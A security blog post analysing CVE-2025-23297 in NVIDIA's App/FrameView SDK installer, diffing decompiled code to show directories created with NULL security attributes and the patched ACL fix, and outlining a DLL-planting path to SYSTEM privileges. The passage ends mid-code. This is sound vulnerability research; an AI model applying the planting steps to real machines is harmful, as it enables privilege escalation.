<p>On <code class="language-plaintext highlighter-rouge">29.9.2025</code> <a href="https://nvidia.custhelp.com/app/answers/detail/a_id/5682">Nvidia disclosed a high severity vulnerability in the NVIDIA installer for NvAPP.</a> Since no deep dive documentation is present for this CVE I was down for the task.</p>

<p>This document contains my reverse engineering analysis of CVE-2025-23297, a local privilege escalation vulnerability in NVIDIA FrameView SDK. Through binary analysis using Ghidra, I identified multiple instances where the installer creates directories with NULL security attributes, enabling DLL hijacking attacks.</p>

<p>Disclosure of this vulnerability was only carried out by Dong-uk Kim and JunYoung Park of KAIST Hacking Lab.</p>

<p><strong>Key Info:</strong></p>

<ul>
  <li><strong>Vulnerability Type:</strong> Insecure directory creation → DLL hijacking</li>
  <li><strong>Root Cause:</strong> <code class="language-plaintext highlighter-rouge">CreateDirectoryW()</code> called with NULL security attributes</li>
  <li><strong>Affected:</strong> NVIDIA App installer v11.0.4.526 and earlier</li>
  <li><strong>Fixed:</strong> NVIDIA App v11.0.5.245</li>
  <li><strong>Impact:</strong> Local privilege escalation (standard user → SYSTEM)</li>
</ul>

<hr />

<h2 id="files-analyzed">Files Analyzed</h2>

<p>Extracted files from both patched and vulnerable versions of the NvApp installer to compare:</p>

<p><strong>Compared Versions:</strong></p>

<ul>
  <li>NVIDIA_app_v11.0.4.526.exe (vulnerable)</li>
  <li>NVIDIA_app_v11.0.5.245.exe (patched)</li>
</ul>

<p><strong>Key Components:</strong></p>

<ul>
  <li>nvfvsdksvc_x64.exe</li>
  <li>installation scripts</li>
  <li>core SDK scripts: bin\FvSDK_x64.dll</li>
  <li>container application: FvContainer\FvContainer.exe</li>
</ul>

<hr />

<h2 id="initial-analysis---unpacking-and-comparing-installers">Initial Analysis - Unpacking and Comparing Installers</h2>

<h3 id="unpacking-the-installers">Unpacking the Installers</h3>

<p>Before diving into binary analysis with Ghidra, I needed to understand the scope of changes between the vulnerable and patched versions. I unpacked both NVIDIA App installers to extract their contents.</p>

<p><strong>Unpacking tools used:</strong></p>

<ul>
  <li>Uni-Extract 2 for initial extraction</li>
</ul>

<p>Once unpacked, I had two directory trees to compare - one from the vulnerable version and one from the patched version.</p>

<h3 id="powershell-comparison-script">PowerShell Comparison Script</h3>

<p>I wrote a PowerShell script to systematically compare the two unpacked installer directories. The script performed two levels of comparison:</p>

<ol>
  <li><strong>Whole directory comparison</strong> - comparing ALL files across both installers</li>
  <li><strong>FrameView-specific comparison</strong> - focusing on FrameView-related files</li>
</ol>

<h3 id="whole-directory-comparison-results">Whole Directory Comparison Results</h3>

<p>The first pass comparing all files across both unpacked installers revealed:</p>

<ul>
  <li>Several new files were created in the patched version</li>
  <li>Some files were deleted</li>
  <li>Many files had size differences (indicating modifications)</li>
</ul>

<p>Since this was quite a large surface to examine and nothing much caught my eye immediately, I decided to focus more on the FrameView-specific components, as NVIDIA’s security bulletin specifically mentions the FrameView SDK installation process.</p>

<h3 id="frameview-directory-comparison-results">FrameView Directory Comparison Results</h3>

<p>Narrowing down to FrameView-related files, the comparison revealed these modified files:</p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251009144011.png" alt="File comparison results" /> <em>Figure: Modified files in FrameView components</em></p>

<p><strong>Key findings from the comparison:</strong></p>

<ul>
  <li>Multiple executables and DLLs were modified</li>
  <li>Installation scripts were updated</li>
  <li>The main service executable <code class="language-plaintext highlighter-rouge">nvfvsdksvc_x64.exe</code> showed changes</li>
</ul>

<p>All these were files that theoretically I should examine, but since NVIDIA’s bulletin states “the issue is during the installation process,” I decided to start with the <strong>installer executable itself</strong>: <code class="language-plaintext highlighter-rouge">nvfvsdksvc_x64.exe</code>.</p>

<p>This strategic decision paid off, as the installer contained the vulnerable <code class="language-plaintext highlighter-rouge">CreateDirectoryW()</code> calls that create the weak directory permissions.</p>

<hr />

<h2 id="technical-background---createdirectoryw-function">Technical Background - CreateDirectoryW Function</h2>

<p>Before diving into the Ghidra analysis, let me explain the Windows API function that’s at the center of this vulnerability.</p>

<h3 id="the-createdirectoryw-function">The CreateDirectoryW Function</h3>

<p>The <code class="language-plaintext highlighter-rouge">CreateDirectoryW()</code> function creates a new directory and can apply a specified security descriptor to the new directory if the underlying file system supports security.</p>

<p><strong>Function Signature:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="n">BOOL</span> <span class="nf">CreateDirectoryW</span><span class="p">(</span>
  <span class="n">LPCWSTR</span>               <span class="n">lpPathName</span><span class="p">,</span>          <span class="c1">// [rcx] or stack</span>
  <span class="n">LPSECURITY_ATTRIBUTES</span> <span class="n">lpSecurityAttributes</span> <span class="c1">// [rdx] or stack</span>
<span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Parameters:</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">lpPathName</code> - The path of the directory to be created</li>
  <li><code class="language-plaintext highlighter-rouge">lpSecurityAttributes</code> - Pointer to a <code class="language-plaintext highlighter-rouge">SECURITY_ATTRIBUTES</code> structure that specifies a security descriptor for the new directory. If <code class="language-plaintext highlighter-rouge">lpSecurityAttributes</code> is <code class="language-plaintext highlighter-rouge">NULL</code>, the directory inherits the default security descriptor from its parent directory.</li>
</ul>

<p><strong>x64 Windows calling convention:</strong></p>

<ul>
  <li>1st parameter (lpPathName) → <strong>RCX register</strong></li>
  <li>2nd parameter (lpSecurityAttributes) → <strong>RDX register</strong></li>
</ul>

<h3 id="why-null-security-attributes-are-dangerous">Why NULL Security Attributes Are Dangerous</h3>

<p>When <code class="language-plaintext highlighter-rouge">CreateDirectoryW</code> is called with <code class="language-plaintext highlighter-rouge">NULL</code> security attributes:</p>

<ul>
  <li>The directory inherits default permissions from its parent (<code class="language-plaintext highlighter-rouge">C:\ProgramData</code>)</li>
  <li>This often results in <strong>BUILTIN\Users: Read &amp; Execute, Write</strong> permissions</li>
  <li>Any local user can write files to this directory</li>
  <li>When NVIDIA FrameView SDK loads files from this directory with elevated privileges, it can execute attacker’s code</li>
</ul>

<h3 id="windows-dll-search-order">Windows DLL Search Order</h3>

<p>This is crucial to understand the attack. When a process loads a DLL, Windows searches in this order (with SafeDllSearchMode enabled, which is default):</p>

<ol>
  <li><strong>The directory where the application loaded from</strong> ← <strong>Attacker wins here!</strong></li>
  <li>The system directory (C:\Windows\System32)</li>
  <li>The Windows directory (C:\Windows)</li>
  <li>Current directory</li>
  <li>Directories in PATH</li>
</ol>

<p>So if an attacker can plant a malicious DLL in the application directory before a privileged process loads it, game over.</p>

<hr />

<h2 id="analysis---opening-the-installers-in-ghidra">Analysis - Opening the Installers in Ghidra</h2>

<p>Since NVIDIA mentions the issue is caused during the installation process of the FrameViewSDK, I deduced that the vulnerability is likely related to how directories are created. Such attacks are often accompanied by specific Win32 API calls, particularly the <code class="language-plaintext highlighter-rouge">CreateDirectoryW()</code> function.</p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251008173206.png" alt="Ghidra analysis interface" /> <em>Figure: Ghidra disassembly view</em></p>

<h3 id="finding-createdirectoryw-references">Finding CreateDirectoryW References</h3>

<p>Upon searching the two disassembled files, I noticed that the function is differently named by Ghidra in the vulnerable installer compared to the patched version (different addresses, different function names due to recompilation). But in both installers, we can find the <code class="language-plaintext highlighter-rouge">CreateDirectoryW</code> function in the Symbol tree.</p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251008174227.png" alt="Symbol tree showing CreateDirectoryW" /> <em>Figure: CreateDirectoryW in symbol tree</em></p>

<p>Both of these functions use this Windows function. Comparing the pointers:</p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251008174618.png" alt="Function pointer comparison" /> <em>Figure: Comparing function pointers between versions</em></p>

<h3 id="locating-all-references">Locating All References</h3>

<p>In Ghidra’s Symbol Tree → Exports, I navigated to the function <code class="language-plaintext highlighter-rouge">CreateDirectoryW()</code> and inspected all references to this function inside both executables.</p>

<p><strong>Vulnerable version:</strong></p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251008182651.png" alt="Vulnerable version references" /> <em>Figure: CreateDirectoryW references in vulnerable version</em></p>

<p><strong>Patched version:</strong></p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251008182935.png" alt="Patched version references" /> <em>Figure: CreateDirectoryW references in patched version</em></p>

<p>Result: <strong>3 call sites</strong> to <code class="language-plaintext highlighter-rouge">CreateDirectoryW</code> in each version (the 4th entry is just the import table pointer itself, not an actual call).</p>

<hr />

<h2 id="first-vulnerable-call---addresses-0x140006c78--0x14000b542">First Vulnerable Call - Addresses 0x140006c78 &amp; 0x14000b542</h2>

<h3 id="location-investigation">Location Investigation</h3>

<p>Navigating to the first reference in the vulnerable version, it points to address <code class="language-plaintext highlighter-rouge">0x140006c78</code>, which is part of the address space of function <code class="language-plaintext highlighter-rouge">FUN_140006b10</code>.</p>

<p>I did this for both versions:</p>

<p><strong>Vulnerable:</strong></p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251008183307.png" alt="Vulnerable function location" /> <em>Figure: First vulnerable call location</em></p>

<p><strong>Patched:</strong></p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251008183334.png" alt="Patched function location" /> <em>Figure: Corresponding patched function location</em></p>

<h3 id="version-tracking-in-ghidra">Version Tracking in Ghidra</h3>

<p>After finding the addresses, I used Ghidra’s Version Tracking feature to compare the two versions.</p>

<p>The vulnerable call is at address <code class="language-plaintext highlighter-rouge">0x140006c78</code> inside function <code class="language-plaintext highlighter-rouge">FUN_140006b10</code>. I filtered the Version Tracking Matches window for this specific function, and Ghidra’s correlator gave me several function matches on the vulnerable exe side.</p>

<p>Ghidra, using the <strong>BSim Function Matching Algorithm</strong>, matched the function where <code class="language-plaintext highlighter-rouge">CreateDirectoryW()</code> was called in the vulnerable version (<code class="language-plaintext highlighter-rouge">FUN_140006b10</code>) to function <code class="language-plaintext highlighter-rouge">FUN_140008130</code> in the patched version.</p>

<p>This clearly pointed out that I should investigate these two functions more deeply. And after inspecting the whole decompiled code…</p>

<h3 id="bingo-found-the-vulnerability">BINGO! Found the Vulnerability</h3>

<p>Inside the <strong>vulnerable version</strong>, they’re setting the <code class="language-plaintext highlighter-rouge">LPSECURITY_ATTRIBUTES</code> to <code class="language-plaintext highlighter-rouge">0x0</code>, meaning <code class="language-plaintext highlighter-rouge">NULL</code> - no security attributes are applied!</p>

<p><strong>Vulnerable code (FUN_140006b10):</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
</pre></td><td class="rouge-code"><pre><span class="kt">void</span> <span class="nf">FUN_140006b10</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">****</span><span class="n">param_1</span><span class="p">,</span> <span class="n">longlong</span> <span class="o">*</span><span class="n">param_2</span><span class="p">,</span> <span class="kt">char</span> <span class="n">param_3</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">LPVOID</span> <span class="n">pvVar1</span><span class="p">;</span>
  <span class="n">code</span> <span class="o">*</span><span class="n">pcVar2</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">iVar3</span><span class="p">;</span>
  <span class="n">LPCWSTR</span> <span class="o">***</span><span class="n">ppppWVar4</span><span class="p">;</span>
  <span class="c1">// ... variable declarations ...</span>
  
  <span class="c1">// Get known folder path</span>
  <span class="n">iVar3</span> <span class="o">=</span> <span class="n">SHGetKnownFolderPath</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_14008afa0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">iVar3</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">CoTaskMemFree</span><span class="p">(</span><span class="n">local_70</span><span class="p">);</span>
    <span class="n">OutputDebugStringA</span><span class="p">(</span><span class="s">"SHGetKnownFolderPath Failed</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
  
  <span class="c1">// Build path: \NVIDIA Corporation\FrameView</span>
  <span class="n">FUN_14000a270</span><span class="p">((</span><span class="n">longlong</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_60</span><span class="p">,</span> <span class="n">local_70</span><span class="p">,</span> <span class="n">uVar7</span><span class="p">);</span>
  <span class="n">FUN_14000a390</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_60</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="s">L"</span><span class="se">\\</span><span class="s">NVIDIA Corporation"</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">);</span>
  <span class="n">FUN_14000a390</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_60</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="s">L"</span><span class="se">\\</span><span class="s">FrameView"</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span>
  
  <span class="k">if</span> <span class="p">(</span><span class="n">param_3</span> <span class="o">!=</span> <span class="sc">'\0'</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">FUN_14000a390</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_60</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">DAT_140097ef0</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
  <span class="p">}</span>
  
  <span class="n">ppppWVar4</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">local_60</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="mi">7</span> <span class="o">&lt;</span> <span class="n">local_48</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">ppppWVar4</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPCWSTR</span> <span class="o">***</span><span class="p">)</span><span class="n">local_60</span><span class="p">;</span>
  <span class="p">}</span>
  
  <span class="c1">// [!!!!] VULNERABLE: NULL security attributes!</span>
  <span class="n">CreateDirectoryW</span><span class="p">((</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="n">ppppWVar4</span><span class="p">,</span> <span class="p">(</span><span class="n">LPSECURITY_ATTRIBUTES</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
  <span class="c1">//                                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^</span>
  <span class="c1">//                                    This is the bug!</span>
  
  <span class="c1">// Rest of the function...</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Patched code (FUN_140008130):</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="rouge-code"><pre><span class="kt">void</span> <span class="nf">FUN_140008130</span><span class="p">(</span><span class="n">LPCWSTR</span> <span class="o">****</span><span class="n">param_1</span><span class="p">,</span> <span class="n">longlong</span> <span class="o">*</span><span class="n">param_2</span><span class="p">,</span> <span class="kt">char</span> <span class="n">param_3</span><span class="p">)</span>
<span class="p">{</span>
  <span class="c1">// ... variable declarations ...</span>
  <span class="n">_SECURITY_ATTRIBUTES</span> <span class="n">local_168</span><span class="p">;</span>  <span class="c1">// &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; New: Security attributes structure!</span>
  <span class="n">uint</span> <span class="n">uStack_14c</span><span class="p">;</span>
  <span class="n">PSID</span> <span class="n">local_288</span><span class="p">;</span>
  <span class="n">PSID</span> <span class="n">pvStack_280</span><span class="p">;</span>
  <span class="n">PSID</span> <span class="n">local_278</span><span class="p">;</span>
  <span class="c1">// ... more security-related variables ...</span>
  
  <span class="c1">// Initialize security structures</span>
  <span class="n">FUN_14008aad0</span><span class="p">((</span><span class="n">undefined1</span> <span class="p">(</span><span class="o">*</span><span class="p">)</span> <span class="p">[</span><span class="mi">32</span><span class="p">])</span><span class="o">&amp;</span><span class="n">local_288</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x120</span><span class="p">);</span>
  <span class="n">local_288</span> <span class="o">=</span> <span class="p">(</span><span class="n">PSID</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
  <span class="n">pvStack_280</span> <span class="o">=</span> <span class="p">(</span><span class="n">PSID</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
  <span class="n">local_278</span> <span class="o">=</span> <span class="p">(</span><span class="n">PSID</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
  <span class="c1">// ... initialize more security fields ...</span>
  
  <span class="c1">// Build proper security attributes with ACL</span>
  <span class="n">uVar4</span> <span class="o">=</span> <span class="n">FUN_140006cf0</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_288</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_168</span><span class="p">);</span>
  <span class="c1">//                     ^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^</span>
  <span class="c1">//                     SIDs        Populates security attributes</span>
  
  <span class="k">if</span> <span class="p">(</span><span class="n">uVar4</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>  <span class="c1">// Success</span>
    <span class="c1">// Build directory path...</span>
    <span class="n">ppppppppWVar11</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">local_2f8</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="mi">7</span> <span class="o">&lt;</span> <span class="n">local_2e0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">ppppppppWVar11</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPCWSTR</span> <span class="o">*******</span><span class="p">)</span><span class="n">local_2f8</span><span class="p">;</span>
    <span class="p">}</span>
    
    <span class="c1">// SECURE: Proper security attributes passed!</span>
    <span class="n">CreateDirectoryW</span><span class="p">((</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="n">ppppppppWVar11</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">local_168</span><span class="p">);</span>
    <span class="c1">//                                         ^^^^^^^^^^^</span>
    <span class="c1">//                                         Restricts access</span>
    
    <span class="c1">// ... rest of function ...</span>
  <span class="p">}</span>
  
  <span class="c1">// Cleanup security resources</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_288</span> <span class="o">!=</span> <span class="p">(</span><span class="n">PSID</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">FreeSid</span><span class="p">(</span><span class="n">local_288</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">pvStack_280</span> <span class="o">!=</span> <span class="p">(</span><span class="n">PSID</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">FreeSid</span><span class="p">(</span><span class="n">pvStack_280</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="c1">// ... more cleanup ...</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="assembly-verification">Assembly Verification</h3>

<p>Looking at the assembly at address <code class="language-plaintext highlighter-rouge">0x14006c78</code> (vulnerable):</p>

<pre><code class="language-assembly">14006c70  46 0f 47 3c 24 10    CMOVA   param_1=&gt;local_60, qword ptr [RSP + 0x33]
14006c78  ff 15 12 34 05 00    CALL    qword ptr [-&gt;KERNEL32.DLL::CreateDirectoryW]
</code></pre>

<p>Before this CALL, the second parameter (RDX) was set to 0 (NULL) via <code class="language-plaintext highlighter-rouge">XOR RDX, RDX</code> earlier in the function.</p>

<h3 id="the-complete-security-fix">The Complete Security Fix</h3>

<p>The patched version adds three key things:</p>

<ol>
  <li>
    <p><strong>Declares a SECURITY_ATTRIBUTES structure:</strong></p>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre> <span class="n">_SECURITY_ATTRIBUTES</span> <span class="n">local_168</span><span class="p">;</span>
</pre></td></tr></tbody></table></code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Initializes it with proper security settings:</strong></p>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre> <span class="n">FUN_140006cf0</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_288</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_168</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></div>    </div>

    <p>This function sets up proper ACLs (Access Control Lists) to restrict who can access the directory - only Administrators and SYSTEM, NOT regular users.</p>
  </li>
  <li>
    <p><strong>Passes the structure to CreateDirectoryW:</strong></p>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre> <span class="n">CreateDirectoryW</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">local_168</span><span class="p">);</span>  <span class="c1">// Instead of NULL</span>
</pre></td></tr></tbody></table></code></pre></div>    </div>
  </li>
</ol>

<h3 id="comparing-with-meld">Comparing with Meld</h3>

<p>The tool Meld is great for comparing these functions as it highlights the differences. Even though its main use is for git management, it works well for comparing decompiled code.</p>

<p>Inspecting the two variants, we can see some differences. Besides some code updates, additions, and compiler optimizations (running the same code through the same compiler doesn’t always guarantee identical binary output - compilers can reorder instructions and variables), we can clearly spot the introduction of the <code class="language-plaintext highlighter-rouge">_SECURITY_ATTRIBUTES</code> variable in the patched version.</p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251009014933.png" alt="Meld comparison showing security attributes" /> <em>Figure: Meld diff highlighting the security fix</em></p>

<h3 id="why-this-matters---the-attack">Why This Matters - The Attack</h3>

<p>When <code class="language-plaintext highlighter-rouge">CreateDirectoryW</code> is called with <code class="language-plaintext highlighter-rouge">NULL</code> security attributes:</p>

<ul>
  <li>The directory inherits default permissions from its parent (<code class="language-plaintext highlighter-rouge">C:\ProgramData</code>)</li>
  <li>Often results in <strong>Everyone: Full Control</strong> or <strong>Users: Write</strong> permissions</li>
  <li>Any local user can place malicious DLLs in this directory</li>
  <li>When NVIDIA FrameView SDK service (running as SYSTEM) loads files from this directory, it executes the attacker’s code with SYSTEM privileges</li>
</ul>

<p><strong>The attack is simple:</strong></p>

<ol>
  <li>Attacker monitors for the directory creation (takes like 50ms to detect)</li>
  <li>Immediately plants a malicious DLL (like <code class="language-plaintext highlighter-rouge">version.dll</code>)</li>
  <li>Waits for the NVIDIA service to start</li>
  <li>Service loads the malicious DLL from the application directory (Windows searches there FIRST)</li>
  <li>PRIVILEGE ESCALATION - code execution as SYSTEM</li>
</ol>

<p>There’s NO narrow race condition here - the attacker has a <strong>wide window</strong> (maybe 30+ seconds during installation) to plant the DLL. This makes it trivially exploitable.</p>

<hr />

<h2 id="done-no-investigating-other-references">Done? No. Investigating Other References</h2>

<p>Despite these findings, I decided to continue digging so as not to leave the job half done. There were still two more references to check. I’m glad I continued, as the attack surface expanded :)</p>

<hr />

<h2 id="second-vulnerable-call---addresses-0x14002055a--0x1400256ee">Second Vulnerable Call - Addresses 0x14002055a &amp; 0x1400256ee</h2>

<h3 id="function-location">Function Location</h3>

<ul>
  <li><strong>Vulnerable:</strong> Address <code class="language-plaintext highlighter-rouge">0x14002055a</code> inside function <code class="language-plaintext highlighter-rouge">FUN_1400203e0</code></li>
  <li><strong>Patched:</strong> Address <code class="language-plaintext highlighter-rouge">0x1400256ee</code> inside function <code class="language-plaintext highlighter-rouge">FUN_1400253b0</code></li>
</ul>

<p>I repeated the same procedures I did with the first call - finding where the call was made, what function uses it, and comparing the two versions.</p>

<h3 id="finding-two-vulnerable-calls-in-one-function">Finding: TWO Vulnerable Calls in One Function!</h3>

<p>Upon inspection, I found something surprising - the vulnerable version has <strong>TWO</strong> insecure <code class="language-plaintext highlighter-rouge">CreateDirectoryW()</code> calls in the same function! Kinda strange - the developers are using this Windows function multiple times without reading the documentation at all (either this), or they’re purposefully excluding security attributes (which I doubt, of course).</p>

<p><strong>Vulnerable version (FUN_1400203e0):</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
</pre></td><td class="rouge-code"><pre><span class="kt">void</span> <span class="nf">FUN_1400203e0</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="n">param_1</span><span class="p">,</span> <span class="n">DWORD</span> <span class="o">*</span><span class="n">param_2</span><span class="p">,</span> <span class="n">byte</span> <span class="n">param_3</span><span class="p">)</span>
<span class="p">{</span>
  <span class="c1">// ... lots of setup code ...</span>
  
  <span class="c1">// Build path for FvContainer</span>
  <span class="n">FUN_14000ac10</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_80</span><span class="p">,</span> <span class="n">param_1</span><span class="p">);</span>
  <span class="n">pwVar9</span> <span class="o">=</span> <span class="s">L"</span><span class="se">\\</span><span class="s">FvContainer</span><span class="se">\\</span><span class="s">FvContainer.exe"</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">param_3</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">pwVar9</span> <span class="o">=</span> <span class="s">L"</span><span class="se">\\</span><span class="s">FvContainer</span><span class="se">\\</span><span class="s">FvContainer.System.exe"</span><span class="p">;</span>
  <span class="p">}</span>
  
  <span class="c1">// Get special folder path and build: \NVIDIA Corporation\FrameViewSDK</span>
  <span class="n">FUN_14001e550</span><span class="p">(</span><span class="n">local_60</span><span class="p">);</span>
  <span class="n">FUN_14000a270</span><span class="p">((</span><span class="n">longlong</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_100</span><span class="p">,</span> <span class="n">ppppuVar7</span><span class="p">,</span> <span class="n">local_50</span><span class="p">);</span>
  <span class="n">FUN_14000a390</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_100</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="s">L"</span><span class="se">\\</span><span class="s">NVIDIA Corporation"</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">);</span>
  <span class="n">FUN_14000a390</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_100</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="s">L"</span><span class="se">\\</span><span class="s">FrameViewSDK"</span><span class="p">,</span> <span class="mh">0xd</span><span class="p">);</span>
  
  <span class="n">ppppWVar6</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">local_100</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="mi">7</span> <span class="o">&lt;</span> <span class="n">local_e8</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">ppppWVar6</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPCWSTR</span> <span class="o">***</span><span class="p">)</span><span class="n">local_100</span><span class="p">;</span>
  <span class="p">}</span>
  
  <span class="c1">// [!!!!!!!] VULNERABILITY #1: FrameViewSDK directory with NULL security!</span>
  <span class="n">CreateDirectoryW</span><span class="p">((</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="n">ppppWVar6</span><span class="p">,</span> <span class="p">(</span><span class="n">LPSECURITY_ATTRIBUTES</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
  
  <span class="c1">// Now build MessageBus subdirectory path</span>
  <span class="c1">// This part is interesting - they're manually writing bytes to build the string</span>
  <span class="n">builtin_wcsncpy</span><span class="p">((</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">ppppWVar5</span> <span class="o">+</span> <span class="n">uVar12</span> <span class="o">*</span> <span class="mi">2</span><span class="p">),</span> <span class="s">L"</span><span class="se">\\</span><span class="s">Message"</span><span class="p">,</span> <span class="mi">8</span><span class="p">);</span>
  <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">ppppWVar5</span> <span class="o">+</span> <span class="p">(</span><span class="n">uVar12</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x750062</span><span class="p">;</span>  <span class="c1">// "bu" in little-endian</span>
